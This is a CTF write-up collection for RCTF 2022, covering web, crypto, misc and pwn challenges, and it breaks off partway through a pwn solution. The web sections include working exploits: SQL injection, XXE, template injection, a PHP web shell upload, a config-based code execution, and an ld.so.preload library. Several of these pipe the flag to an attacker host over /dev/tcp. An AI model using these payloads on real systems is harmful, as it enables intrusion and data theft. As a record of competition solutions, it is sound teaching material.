# RCTF 2022 writeups ## Web ### ezbypass Java webapp. Tomcat is known to normalize `;` in a weird way. Trying random things, we found out accessing `/index;.ico` makes us pass the whitelist where the url has to end with `.ico`, while accessing the route `/index`. The second part was to access the xxe function. For that, we'd need a username obtained via a password we pass as a parameter. The function that retrieves the password from the username isn't sanitized, but a filter prevents us using `'`. To bypass this filter, we used templated string, and octal encoding to encode the single quote. Our templated string looked like `${"abc\47) OR 1=1;-- -"}`. We can now access the xxe function. As the name suggests, we need to find an xxe. We control some of the constructors of our input, as well as the input itself. To be able to freely use any encodings in a valid way, we decided to go for a byte stream. For that, we used these classes: `java.io.ByteArrayInputStream [B org.xml.sax.InputSource java.io.InputStream`. Then, to bypass the `!DOCTYPE` filter, we encoded the xml in UTF-16BE, and put a header in it to give this information to the parser. So we encode the xml like [this](https://gchq.github.io/CyberChef/#recipe=Encode_text('UTF-16BE%20(1201)')To_Base64('A-Za-z0-9%2B/%3D')&input=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTE2QkUiID8%2BCjwhRE9DVFlQRSByZXBsYWNlIFs8IUVOVElUWSBlbnQgU1lTVEVNICJmaWxlOi8vL2ZsYWciPiBdPgo8Zm9vPiZlbnQ7PC9mb28%2B), then send everything in a request. The request looks like this: ``` GET /index;.ico?password=%24%7b%22abc%5c47)%20OR%201=1;--%20-%22%7d&poc=ADwAPwB4AG0AbAAgAHYAZQByAHMAaQBvAG4APQAiADEALgAwACIAIABlAG4AYwBvAGQAaQBuAGcAPQAiAHUAdABmAC0AMQA2AEIARQAiACAAPwA%2bAAoAPAAhAEQATwBDAFQAWQBQAEUAIAByAGUAcABsAGEAYwBlACAAWwA8ACEARQBOAFQASQBUAFkAIABlAG4AdAAgAFMAWQBTAFQARQBNACAAIgBmAGkAbABlADoALwAvAC8AZgBsAGEAZwAiAD4AIABdAD4ACgA8AGYAbwBvAD4AJgBlAG4AdAA7ADwALwBmAG8AbwA%2b&type=&yourclasses=java.io.ByteArrayInputStream,%5bB,org.xml.sax.InputSource,java.io.InputStream HTTP/1.1 Host: 94.74.86.95:8899 Connection: close ``` ### filechecker_mini The server is running the `file` command on the uploaded file and the output is passed to Flask's `render_template_string`. So we can do template injection if we control the output of `file`. I've noticed that it displays some exif data, specifically the `Software` field. So we can put jinja template code in there to read the flag: ```python from exif import Image import requests with open('1px.jpg', 'rb') as f: img = Image(f) img.software = "{{dict.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}" res = requests.post("http://159.138.107.47:13001/", files={"file-upload": img.get_file()}).text if "software=" in res: print(res.split("software=")[1].split(", ")[0]) else: print(res) ``` ### filechecker_plus This time, we can't do ssti as we only pass the value as a parameter that will be used by the template. The check for path traversal and existing file is an `and`. That means we can overwrite files if we don't use `..`. Fortunately for us, `os.path.join` is weird, and let us access anything if we pass an absolute path as the second argument. ``` >>> import os >>> os.path.join("/abc/","def") '/abc/def' >>> os.path.join("/abc/","/def") '/def' ``` We decided to just edit `/bin/file` to this: ``` #!/bin/python3 import os os.popen("/bin/bash -c 'cat /flag>/dev/tcp/[ip for exfiltration]/1235'") ``` As we only change the file content, we keep the permission of execution on it. Now, just listen on your server with `nc -lnvp 1235`, and you sould get the flag. The request looks like this: ``` POST / HTTP/1.1 Host: 159.138.110.192:23001 Content-Length: 290 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXpDIDRuL9VBmHJHK Connection: close ------WebKitFormBoundaryXpDIDRuL9VBmHJHK Content-Disposition: form-data; name="file-upload"; filename="/bin/file" Content-Type: image/jpeg #!/bin/python3 import os os.popen("/bin/bash -c 'cat /flag>/dev/tcp/[your ip]/1235'") ------WebKitFormBoundaryXpDIDRuL9VBmHJHK-- ``` Note: http requests need \r\n for new lines. But in the file content, it is necessary to only use \n. ### ezruoyi I found a pull request fixing a blind SQL injection vulnerability. But even though gitee says it has been merged, the master branch still contains the old vulnerable code. https://gitee.com/y_project/RuoYi/pulls/403 We can use that vulnerability to leak each character of the flag by calling `SLEEP` with its ASCII value: ```python import requests import secrets def req(payload): sql = f"CREATE TABLE test{secrets.token_hex(10)} AS SELECT/**/ {payload};" print(sql) response = requests.post( url="http://150.158.172.182:8899/tool/gen/createTable", headers={ "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie": "JSESSIONID=b655c45f-d7bb-42b0-a7d5-a6801263083c", }, data={ "sql": sql, }, ) print(response.text) return response.elapsed.total_seconds() def get_char(i): try: time = req(f"sleep(ascii(substr(flag,{i+1},1))-32) from flag") print(time) return chr(round((time-0.15))+32) except: return "?" import sys i = int(sys.argv[1]) print(i, get_char(i)) ``` ### easy_upload This is a php webapp containing a file upload feature that will upload the file in /upload/\[filename\]. Two checks are done to verify if the file we upload is php or not. First one is about the content. We can't have "<\?" in the file content. This can be bypassed by having mb_detect_encoding recognizing the document as base64. It will then upload the non-decoded content anyway. Second check is about the extension. We can bypass it by uploading with ".pHp". It will be accessible as .php anyway later. Here's what the request to get the flag looks like: ``` POST / HTTP/1.1 Host: 49.0.206.37:8000 Content-Length: 1603 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCtqfzjlig72HhsBJ Connection: close ------WebKitFormBoundaryCtqfzjlig72HhsBJ Content-Disposition: form-data; name="file"; filename="asdasdy.pHp" Content-Type: text/plain; QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE=<?php echo shell_exec("cat /flag") ?> ------WebKitFormBoundaryCtqfzjlig72HhsBJ-- ``` Then access `/upload/asdasdy.php`, and find the flag at the end of the response. ### PrettierOnline Prettier will load the plugins selected in the configuration file. So we can make it reference this file itself. It will execute it as JavaScript. By writing it in YAML, it will still be valid JavaScript because `xxxx:` are just JS labels. ```yaml test: console.log("this gets executed as JavaScript") trailingComma: "es5" tabWidth: 4 semi: false singleQuote: true plugins: - ".prettierrc" ``` But we cannot call `/readflag` because the `require` function has been patched to forbid most modules: ```javascript const Module = require('module') const oldRequire = Module.prototype.require Module.prototype.require = function (id) { if (typeof id !== 'string') { throw new Error('Bye') } const isCore = Module.isBuiltin(id) if (isCore) { if (!/fs|path|util|os/.test(id)) { throw new Error('Bye, ' + id) } } else { id = Module._resolveFilename(id, this) } return oldRequire.call(oldRequire, id) } process.dlopen = () => {} ``` But can bypass it by overriding the `RegEx.test` function to change the result and bypass the filter: ```javascript RegExp.prototype.oldTest = RegExp.prototype.test RegExp.prototype.test = function (x) { if (this.toString() == "/fs|path|util|os/") { return true } return this.oldTest(x) } ``` Then to exfiltrate the flag, we write it in `dist/ret.js` and prevent it from being overwritten by the result of prettier by modifying the `fs.writeFileSync`: ```javascript var old = require("fs").writeFileSync require("fs").writeFileSync = function (file, content) { if (!file.endsWith("ret.js")) old(file, content) } ``` Final exploit: ```yaml exploit: RegExp.prototype.oldTest = RegExp.prototype.test; RegExp.prototype.test = function(x){if (this.toString() == "/fs|path|util|os/"){return true}; return this.oldTest(x)}; require("fs").writeFileSync("dist/ret.js", require("child_process").execSync("/readflag")); var old = require("fs").writeFileSync; require("fs").writeFileSync = function(file, content){if(!file.endsWith("ret.js"))old(file, content)}; trailingComma: "es5" tabWidth: 4 semi: false singleQuote: true plugins: - ".prettierrc" ``` ### filechecker_pro_max This time, we can't overwrite any files. We have to get RCE only by creating new ones. The webapp has root permissions, that means we can write in any directories. For this challenge, we chose to create a `/etc/ld.so.preload` file containing `/tmp/rce.so` so it will load the library when the server executes `file`. So we can just create a malicious library, compile it, and upload it. We then just need a race condition when both of the files are present when `file` is executed. Here's the solve script. exploit.py: ```python import os import sys import requests host = "http://140.210.199.170:33002" #maybe change this listenerip = "your ip" #change this listenerport = "your port" #change this if len(sys.argv) == 1: cpayload = """#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { remove("/etc/ld.so.preload"); //without this, the exploit would recursively load /tmp/rce.so system("/bin/bash -c 'cat /flag>/dev/tcp/"""+listenerip+"/"+listenerport+"""'"); }""" file = open("rce.c","w") file.write(cpayload) file.close() ldpayload = "/tmp/rce.so" file = open("ld.so.preload","w") file.write(ldpayload) file.close() os.system("gcc -fPIC -shared -o rce.so rce.c -nostartfiles") #compile the so file. If it doesn't work, try running the script from the chall container os.system("python3 ./exploit.py brute_ld & python3 ./exploit.py brute_so") #multithreading lol else: if sys.argv[1] == "brute_ld": files = {'file-upload': ('/etc/ld.so.preload', open('ld.so.preload','rb').read())} for i in range(100): r=requests.post(host+"/",files=files) elif sys.argv[1] == "brute_so": files = {'file-upload': ('/tmp/rce.so', open('rce.so','rb').read())} for i in range(100): r=requests.post(host+"/",files=files) ``` ## Crypto ### S2DH This challenge requires you to break SIDH. The most efficent method to solve is to [spend your summer writing the attack in SageMath](https://github.com/jack4818/Castryck-Decru-SageMath), so you can just copy paste the challenge parameters into your code and get the flag immediately. Things to note: - The curve is $y^2 = x^3 + x$, so we have the endomorphism $\iota$ rather than $2\iota$ from the script. This is fixed by including the multiplication by two map as a composition to $\iota$. - The secret kernel is generated from $sP + tQ$ instead of $P + xQ$. This is trivial to fix, as $s,t$ are computed in our script then the equivalent $x$ is returned. - Once $s,t$ are recovered from the attack, all that remains is to finish the key exchange, which is easy thanks to Sage's support of isogenies. ### easyRSA The challenge script presents an exotic variants of RSA. By pure coincidence this paper ["Further Cryptanalysis of a Type of RSA Variants"](https://eprint.iacr.org/2022/611) contains references to variants of RSA. As it turns out, the variants in the challenge is the [Castagnos cryptosystem](https://www.math.u-bordeaux.fr/~gcastagn/publi/crypto_quad.pdf) based on [Lucas sequences](https://en.wikipedia.org/wiki/Lucas_sequence). Luckily, this [paper](https://ro.uow.edu.au/cgi/viewcontent.cgi?article=6676&context=eispapers) presents an attack on the Castagnos cryptosystem that factors the modulus using continues fractions. Given an Castagnos key pair $(N,e,e)$, let $e = N^\beta$ and $d = N^\delta$,if $\delta < 1/2(3-\beta)$, we can factor $N$. And this holds for easyRSA! First we recover $d$ as shown below: ```python den = N^2 - 9/4*N + 1 cf = (e/den).continued_fraction() tot = [] for v in cf.convergents()[1:]: k,d = v.numerator(), v.denominator() if (e*d - 1) % k == 0: phi = (e*d - 1) / k if (inverse_mod(d, phi) == e): break ``` Then we factor $N$. Well, ain't nobody got time for this so, we take the easy way out with pycryptodome, which nicely gives us the prime factorization. ```python RSA.construct((int(N), int(e), int(d)), consistency_check=False) ``` Next, we need a efficient implementation of $V_e(r)$. This can be done as follows: ```python v = lambda r, e: ZZ((Matrix(Zmod(N^2), [[r, -1], [1, 0]])^e * vector([r, 2]))[1]) ``` The final task is to painfully implement the decryption function and recover the flag. ```python dpi = lambda p,i: ZZ(pow(e,-1,p-i)) ip = kronecker(c^2 - 4, p) iq = kronecker(c^2 - 4, q) dp = dpi(p,ip) dq = dpi(q,iq) rp = v(c,dp) % p rq = v(c,dq) % q r = (rp + p*(rq - rp)*ZZ(pow(p,-1,q))) % N tmpp = ZZ(c*pow(v(r,e), -1, p^2) % p^2) tmpp = (tmpp - 1)//p mp = (tmpp *ZZ(pow(q,-1,p))) % p tmpq = ZZ(c*pow(v(r,e), -1, q^2) % q^2) tmpq = (tmpq - 1)//q mq = (tmpq * ZZ(pow(p,-1,q))) % q from Crypto.Util.number import long_to_bytes m = (mp + p*(mq - mp)*ZZ(pow(p,-1,q))) % N print(long_to_bytes(m)) ``` > RCTF{eAsy_1uca5_se9uEnce_a6ea27d4177d} ### Clearlove Implement https://eprint.iacr.org/2021/1632 to factor the modulus, suffer because Groebner takes ~3 hours to run with $m = t = 9$ because for smaller lattice size toy data didn't have roots over the integers. ```python import sys def factorit(N, y): pqdiff = ZZ(sqrt(y)) assert pqdiff^2 == y x = var("x") roots = (x*(x + pqdiff) - N).roots() p = ZZ(max(r for r, _ in roots)) assert ZZ(N) % p == 0 q = ZZ(N) // p return p, q with open(sys.argv[1]) as f: lines = f.read().splitlines() e = ZZ(lines[-1].split()[-1]) N = ZZ(lines[-2].split()[-1]) ZN = Zmod(N) cts = list(map(ZN, lines[:-3])) β = QQ(0.4396) α = log(e, 2) / log(N, 2) δ = 0.6422 print("δ =", δ.n(), "\n2 - sqrt(2αβ) =", (2 - sqrt(2*α*β)).n()) m = t = int(sys.argv[2]) A = -(N - 1)^2 R.<x, y, u> = QQ[] Rquo = R.quo(x*y - (u - 1)) F = u + A*x X = ZZ(ceil(2*N^(α+δ-2))) Y = ZZ(ceil(N^(2*β))) U = ZZ(ceil(2*N^(α+δ+2*β-2))) def G(k, i1, i2, i3): return x^i1 * F^k * e^(m - k) def H(k, i1, i2, i3): return Rquo(y^i2 * F^k * e^(m - k)).lift() gs = [] for k in range(m + 1): for i1 in range(m - k + 1): gs.append(G(k, i1, 0, k)) for i2 in range(1, t + 1): for k in range(m//t * i2, m + 1): gs.append(H(k, 0, i2, k)) monomials = [] for k in range(m + 1): for i1 in range(m - k + 1): M = x^i1*u^k if M not in monomials: monomials.append(M) for i2 in range(1, t + 1): for k in range(m//t*i2, m + 1): M = y^i2*u^k if M not in monomials: monomials.append(M) print(monomials) L = Matrix(ZZ, nrows=len(gs), ncols=len(monomials)) for r, g in enumerate(gs): for v, M in g(x=X*x, y=Y*y, u=U*u): L[r,monomials.index(M)] = v def mprint(M): print("\n".join(''.join("0X"[bool(x)] for x in r) for r in M)) print(f"LLL dimension: {L.nrows()}x{L.ncols()}") B = L.LLL() mprint(B) import logging logging.basicConfig(level=logging.DEBUG) def find_roots_univariate(x, polynomial): """ Returns a generator generating all roots of a univariate polynomial in an unknown. :param x: the unknown :param polynomial: the polynomial :return: a generator generating dicts of (x: root) entries """ if polynomial.is_constant(): return for root in polynomial.roots(multiplicities=False): if root != 0: yield {x: int(root)} def find_roots_groebner(polynomials): """ Returns a generator generating all roots of a polynomial in some unknowns. Uses Groebner bases to find the roots. :param pr: the polynomial ring :param polynomials: the reconstructed polynomials :return: a generator generating dicts of (x0: x0root, x1: x1root, ...) entries """ # We need to change the ring to QQ because groebner_basis is much faster over a field. # We also need to change the term order to lexicographic to allow for elimination. pr = polynomials[0].parent() gens = pr.gens() s = Sequence(polynomials[1:] + polynomials[:1], pr.change_ring(QQ, order="lex")) while len(s) > 0: G = s.groebner_basis() logging.debug(f"Sequence length: {len(s)}, Groebner basis length: {len(G)}") if len(G) == len(gens): logging.debug(f"Found Groebner basis with length {len(gens)}, trying to find roots...") roots = {} for polynomial in G: vars = polynomial.variables() if len(vars) == 1: for root in find_roots_univariate(vars[0], polynomial.univariate_polynomial()): roots |= root if len(roots) == pr.ngens(): yield roots return logging.debug(f"System is underdetermined, trying to find constant root...") return G = Sequence(s, pr.change_ring(ZZ, order="lex")).groebner_basis() vars = tuple(map(lambda x: var(x), gens)) for solution_dict in solve([polynomial(*vars) for polynomial in G], vars, solution_dict=True): logging.debug(solution_dict) found = False roots = {} for i, v in enumerate(vars): s = solution_dict[v] if s.is_constant(): if not s.is_zero(): found = True roots[gens[i]] = int(s) if s.is_integer() else int(s) + 1 else: roots[gens[i]] = 0 if found: yield roots return else: # Remove last element (the biggest vector) and try again. s.pop() for m in monomials: assert len(m.monomials()) == 1 polys = list(B * vector([m / m.monomials()[0](x=X, y=Y, u=U) for m in monomials])) RR.<xx, yy> = QQ[] def inj(f): return RR(f(u=xx*yy + 1, x=xx, y=yy)) import random, itertools for roots in find_roots_groebner(list(map(inj, polys))): print(f"{A = }") print(roots) # if (roots[u] + A * roots[x]) % e != 0: # print("Not an actual root for F") if (roots[xx] * roots[yy] + A * roots[xx] + 1) % e != 0: print("Not an actual root for f") _y = roots[yy] if not is_square(_y): print("Not a square") continue if _y > 0: print(factorit(N, ZZ(_y))) exit() ``` Then decrypt the RSA ciphertexts and do some iFFT stuff to recover the flag. ```python proof.all(False) from Crypto.Util.number import long_to_bytes def decrypt_junk(junk): p = 990367536408524906540912485167816012092796554403092639917950993714265910699138052663068131070259292593771612112016905904144038137551264432483487958987773403759866096258076571660618998739176702013853258687325567753038298889168254166361474202422033630403618955865472205722190830457928271527937 g = 745013838642250986737914025336862504661062017981819269513542907265222774830330586097756124678061002877695509685688964126565784246358161149675046363463274308162223776270434432888284419417479549219965033745142547821863438374478028783067286583042510995247992045551680383288951502770625897136683 Zp = Zmod(p) junk = list(map(Zp, junk)) g = Zp(g) def fft(x, ω=g): N = len(x) if N <= 1: return x even = list(fft(x[0::2], ω^2)) odd = list(fft(x[1::2], ω^2)) T = [ω^k * odd[k] for k in range(N // 2)] return [ even[k] + T[k] for k in range(N // 2) ] + [ even[k] - T[k] for k in range(N // 2) ] def ifft(x, ω=g): tmp = fft(x, ω^-1) N = len(x) return [t / N for t in tmp] return [long_to_bytes(int(x)) for x in ifft(junk)] def get_junk(): p, q = (9556214419665146755945166891490295027801379346690091021440900886989699179551049737108368117123398427595492672043407492859209058045933952618134000351021621, 9556214419665146758506803013780992193575249054036800092187408574698477703833966098289122981611431119177883925607404669379911570440322420288505602984153503) import sys with open(sys.argv[1]) as f: lines = f.read().splitlines() e = ZZ(lines[-1].split()[-1]) N = ZZ(lines[-2].split()[-1]) ZN = Zmod(N) cts = list(map(ZN, lines[:-3])) assert N == p * q d = ZZ(pow(e, -1, (p - 1)*(q - 1))) return [ZZ(pow(c, d, N)) for c in cts] import pprint junk = get_junk() print("Junk gotten") pprint.pprint(dec := decrypt_junk(junk)) print(bytes(d[i] for i, d in enumerate(dec[:120]))) ``` > RCTF{G00d_J06_UR_cRypT0_ma5T3r__1997_L0VE_ZMJ_FOR3VER} ### guess ```python= t = randint(1, q) u = x * t - randint(1, q >> 2) ``` Given (many instances of) t and u we need to recover x. Since, in expectation, t will be around q/2 and `randint(1, q >> 2)` about q/8, `u/t` will be `x-1` more often than not. ```py from pwn import * import json r = connect("190.92.234.114", 23334) r.readuntil("q = ") q = int(r.readline()) r.readuntil("T = ") T = json.loads(r.readlineS()) r.readuntil("U = ") U = json.loads(r.readlineS()) x = U[0] // T[0] + 1 r.sendlineafter("x = ", str(x)) r.interactive() ``` `RCTF{h0p3_this_gUes5_cHal1eNge_is_N0T_gue5sY}` ### magic_sign Among other things we get ``` print('C =', C) print('P1 =', P1) print('P2 =', P2) H = magic.shake(b'Never gonna give you flag~') S_ = magic(input('> ')[:magic.N]) if P1*S_ == C*H*P2: print(flag) ``` with C, P1, P2, H and S_ being a sequence of intergers modulo 8. Therefore, we need to find some X such that A*X=B for known A, B. Looking at how the multiplication works, we notice that all but 9 values in the result only depend on the corresponding values in the inputs. For these, finding valid values for X is, therefore, trivial. The remaining 9 values, however, are all interdependant. But since only 9 3-bit values remain, we can simply brute force these 27 bits to get a valid S_. ### super_guess ```python= t = randint(1, q) u = (x * t - randint(1, q >> 2)) % q ``` Given (many instances of) t and u we need to recover x. x, however, is generated such that it has only 41 bits of entropy. Allowing us to simply bruteforce it. ```c #include <stdlib.h> #include <stdio.h> #include <stdint.h> #include <string.h> #include <stdbool.h> #include <gmp.h> void chk(int ok, char* err) { if (!ok) { puts(err); exit(1); } } bool inc(mpz_t x) { char c; int i; for (i = 5; i < 20; i++) { c = ((uint8_t*)x->_mp_d)[i]; if (c == 'Z') continue; if (c == '9') c = 'A'; else c++; break; } bool signle_inc = (i == 5) && (c != 'A'); if (i >= 20) { puts("failed"); exit(0); } for (; i >= 5; i--) { ((uint8_t*)x->_mp_d)[i] = c; } return signle_inc; } int main(int argc, char* argv[]) { chk(argc > 4, "nothing to check against"); chk(argc % 2 == 0, "odd number of args"); mpz_t q; mpz_init(q); mpz_set_str(q, argv[1], 10); int len = argc / 2 - 2; mpz_t ts[len]; mpz_t lows[len]; mpz_t highs[len]; mpz_t maxk; mpz_init(maxk); mpz_tdiv_q_2exp(maxk, q, 2); for (int i = 0; i < len; i++) { mpz_init(ts[i]); mpz_set_str(ts[i], argv[2*(i+1)], 10); mpz_t u; mpz_init(u); mpz_set_str(u, argv[2*(i+1) + 1], 10); mpz_init(lows[i]); mpz_add_ui(lows[i], u, 1); mpz_init(highs[i]); mpz_add(highs[i], u, maxk); } mpz_t x; mpz_init(x); chk(strlen(argv[argc - 2]) == 20, "invalid startpoint"); mpz_import(x, 20, 1, 1, 1, 0, argv[argc - 2]); uint64_t maxcnt = atol(argv[argc-1]); mpz_t prod; mpz_init(prod); mpz_t xt0; mpz_init(xt0); mpz_t t0240; mpz_init(t0240); mpz_mul_ui(t0240, ts[0], 1L<<40); mpz_mod(t0240, t0240, q); bool signle_inc = false; while (maxcnt--) { int i; for (i = 0; i < len; i++) { if (i==0 && signle_inc) { mpz_add(prod, xt0, t0240); if (mpz_cmp(prod, q) >= 0) { mpz_sub(prod, prod, q); } } else { mpz_mul(prod, x, ts[i]); mpz_mod(prod, prod, q); } if (i == 0) { mpz_set(xt0, prod); } if (mpz_cmp(prod, lows[i]) < 0) { mpz_add(prod, prod, q); } if (mpz_cmp(prod, lows[i]) < 0 || mpz_cmp(prod, highs[i]) > 0) break; } if (i == len) { puts("found"); mpz_out_str(stdout, 10, x); exit(0); } signle_inc = inc(x); } puts("maxed out"); exit(0); } ``` ## Misc ### ez_alient Using stings on the alient.bmp image we get a base64 string that decodes to `pwd="N0bOdy_l0ves_Me"` Then extracting the binary from the zip and analysing it with 'file' and 'string' came to the conclusion it's a compiled python executable. Then used https://pyinstxtractor-web.netlify.app/ to extract the python bytecode files from the whole binary and decompiled the relevant .pyc files with `python-uncompyle6`. From the main source files, we could see and extract double-base64-encoded strings. ``` --- alien_invasion.pyc --- s = b'VTJreE0yNWpNdz09' => Si13nc3 --- game_stats.pyc --- t = b'ZFhBPQ==' => up --- bullet.pyc --- a = b'YmtWMlJYST0=' => nEvEr --- alien.pyc --- a = b'TVRVPQ==' => 15 --- button.pyc --- k = b'T1dsMmFXNDU=' => 9ivin9 --- ship.pyc --- m = b'YURBeFpHbHVPUT09 VDI0PQ== VTJreE0yNVVNWGs9' => h01din9 => On => Si13nT1y --- settings.pyc --- l = b'Tm5WMA==' => 6ut --- scoreboard.pyc --- m = b'SmlZPQ==' => && ZIP password: => N0bOdy_l0ves_Me ``` Then it was only reassembling the parts to get the flag. Guessing the right order took a long time, because the flag is not actually making as much sense as many other of the possible combinations. ### checkin Visit the URL in the challenge description (https://rois.io/). Wait for the flag to appear. ### ezhook #### Challenge Summary We can uplad a file, it gets stored with a name based on our ip in a dir based on our ip. That sounds like it is just part of the infra to make every player have a unique upload location or something though. that file is then passed into the FlagServer, of which we have the java .class files. the dockerfile installs frida (from some chinese mirror) so I assume the FlagServer uses it. The website running on the remote specifies "upload your frida jsscript". Once the FlagServer is done, we get the output of the command printed on the website. opened it in ghidra: The FlagServer has a `getFlag` method that prints the flag if ... the system time is before `Thu Dec 31 2020 16:00:00`. The MyRunnable that the FlagServer runs first is frida with our input file. Then they check the system time. So we need to modify the system time from the frida script ... the MyRunnable.class contains the string `python3 exp.py %s %s` in the run function which in turn then launches frida using the python package. #### Attempt 1 > so basically we need to hook System.currentTimeMillis()? > and return the wrong value? > ```javascript > // This function will be called every time System.currentTimeMillis() is called > function hook() { > // Return the Unix timestamp for "Thu Dec 31 2020 16:00:00" > return 1609459200000; > } > > // Create a Frida hook on the System.currentTimeMillis() method > var System = Java.use('java.lang.System'); > System.currentTimeMillis.implementation = hook; > ``` > >maybe this is a ChatGPT solve But it turns out that ChatGPT got the timestamp wrong and the timestamp in the comment is also wrong. We also found a github issue that says all the Java functionality can only be used inside a `Java.perform()` block. #### Attempt 2 Instead of bothering with the Java pain, we notice that * the flag is inside the `FlagServer.class` file * the `FlagServer.class` is world-readable so we just read the flag from javascript and print it. Here's the final code: ``` Java.perform(function () { var fis = Java.use("java.io.FileInputStream"); //var file = fis.$new("/mnt/defpackage/FlagServer.class"); var file = fis.$new("/app/FlagServer.class"); var fileBytes = new Uint8Array(file.available()); const buffer = Java.array('byte', new Array(4096).fill(0)); var x; var a =''; while ((x = file.read(buffer)) != -1) { for (var i = 0; i < x; i++) { a += String.fromCharCode(buffer[i]); } for (var i = 0; i < 100; i++) { console.log(a); } } }); ``` ### ezPVZ We noticed that the amount of suns a sunflower gave you was not enough to win the game. We immediately decided that the most sensible way to proceed was to cheat at the game. We guesseed the number of suns we had at the start (100). Then we used cheat engine to see how many suns a sunflower would cost (50). We then run `grep "= 50"` over the decompilation of the binary to see where the price of the plants was set and we patched that to be 0. ![](https://i.imgur.com/Qs4GWyn.png) ### K999 After running the executable and crashing it with cheat engine, it became apparent that LUA files are used for the game logic. ![](https://i.imgur.com/3VArU73.png) ![](https://i.imgur.com/6ZpfAvs.png) Using binwalk on the `K999.exe` executable showed, that the .lua sourcefiles were attached to it. ``` 408187 0x63A7B Zip archive data, at least v2.0 to extract, compressed size: 2059, uncompressed size: 2059, name: flag.lua 410284 0x642AC Zip archive data, at least v2.0 to extract, compressed size: 1032, uncompressed size: 1032, name: GameObject.lua 411360 0x646E0 Zip archive data, at least v2.0 to extract, compressed size: 4635, uncompressed size: 4635, name: Grenade.lua 416036 0x65924 Zip archive data, at least v2.0 to extract, compressed size: 2148, uncompressed size: 2148, name: Gun.lua 418221 0x661AD Zip archive data, at least v2.0 to extract, compressed size: 4349, uncompressed size: 4349, name: main.lua 422608 0x672D0 Zip archive data, at least v2.0 to extract, compressed size: 172, uncompressed size: 172, name: makelove.toml 422823 0x673A7 Zip archive data, at least v2.0 to extract, compressed size: 4412, uncompressed size: 4412, name: Map.lua ``` The `main.lua` file contained the interesting part concerning the flag. ```lua= if world.KillenemyCount >= 999 then love.graphics.push('all') love.graphics.setColor(255, 255, 0, 255) local flag1 = "MOON\r\n" local flag2 = "157 89 215 46 13 189 237 23 241\r\n" local flag3 = "49 84 146 248 150 138 183 119 52\r\n" local flag4 = "34 174 146 132 225 192 5 220 221\r\n" local flag5 = "176 184 218 19 87 249 122\r\n" local flag6 = "Find a Decrypt!\r\n" ``` Looking at `flag.lua`, the decrypt routine was already prepared there. ```lua= function Decrypt() local key = "" local s = {} flag = "" for i = 1, #s, 1 do flag = flag .. string.char(s[i]) end flag = strDecrypt(flag, key) print(flag) end ``` After inserting "MOON" as the key and the numbers into the "s" array, running the Decrypt function returned the flag. `RCTF{1_Rea11y_Want_t0_Y0ur_H0use}` ## Pwn ### ppuery - identify c++ library used - notice that the sqlite version used in binary does not correspond to any of the versions vendored normally in the library - it is out of date (known CVEs) - assume authors must have deliberately downgraded sqlite (c++ library was up to date) so CVEs (or other fixed bugs) had to be exploited - spend some time trying to get FLIRT signatures working - could not get it to work - tried diffing with diaphora, also not working well - spend hours scouring through sqlite source to get the chrome bugs working when a database is loaded: - https://bugs.chromium.org/p/chromium/issues/detail?id=1345947&q=1345947&can=2 got this one working first, by basically just creating a view with the query - turns out this bug is absolutely useless, at most allows you to leak something - https://bugs.chromium.org/p/chromium/issues/detail?id=1343348&q=1343348&can=2 this one was trickier since it uses a delete statement, but managed to also get it crashing with a modified select statement. - same underlying issue as above - both of these issues needed a heap leak, so I looked at the c++ wrapper for bugs - turns out `SQLite::operator<<(std::ostream *this, SQLite::Column *a2)` is vulnerable: ```c std::ostream *__fastcall SQLite::operator<<(std::ostream *this, SQLite::Column *a2) { int Bytes; // ebx const char *Text; // rax Bytes = 